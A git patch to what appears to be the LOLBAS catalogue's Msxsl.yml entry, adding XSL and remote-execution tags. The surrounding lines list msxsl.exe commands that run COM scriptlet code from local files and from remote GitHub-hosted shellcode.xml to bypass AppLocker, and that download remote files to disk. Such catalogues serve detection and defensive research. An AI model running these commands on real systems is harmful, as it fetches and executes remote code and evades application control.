From f9ea58c0e2550b4565b0db8cf2e0a7763a4e11da Mon Sep 17 00:00:00 2001
From: hegusung <7390383+hegusung@users.noreply.github.com>
Date: Sun, 13 Oct 2024 22:20:50 +0200
Subject: [PATCH] Update Msxsl.yml Tags

Added Tags:
Execute: XSL
Execute: Remote
---
 yml/OtherMSBinaries/Msxsl.yml | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/yml/OtherMSBinaries/Msxsl.yml b/yml/OtherMSBinaries/Msxsl.yml
index 7020e0a..d87746e 100644
--- a/yml/OtherMSBinaries/Msxsl.yml
+++ b/yml/OtherMSBinaries/Msxsl.yml
@@ -11,6 +11,8 @@ Commands:
     Privileges: User
     MitreID: T1220
     OperatingSystem: Windows
+    Tags:
+      - Execute: XSL
   - Command: msxsl.exe customers.xml script.xsl
     Description: Run COM Scriptlet code within the script.xsl file (local).
     Usecase: Local execution of script stored in XSL file.
@@ -18,6 +20,8 @@ Commands:
     Privileges: User
     MitreID: T1220
     OperatingSystem: Windows
+    Tags:
+      - Execute: XSL
   - Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
     Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
     Usecase: Local execution of remote script stored in XSL script stored as an XML file.
@@ -25,6 +29,9 @@ Commands:
     Privileges: User
     MitreID: T1220
     OperatingSystem: Windows
+    Tags:
+      - Execute: XSL
+      - Execute: Remote
   - Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
     Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
     Usecase: Local execution of remote script stored in XSL script stored as an XML file.
@@ -32,6 +39,9 @@ Commands:
     Privileges: User
     MitreID: T1220
     OperatingSystem: Windows
+    Tags:
+      - Execute: XSL
+      - Execute: Remote
   - Command: msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>
     Description: Using remote XML and XSL files, save the transformed XML file to disk.
     Usecase: Download a file from the internet and save it to disk.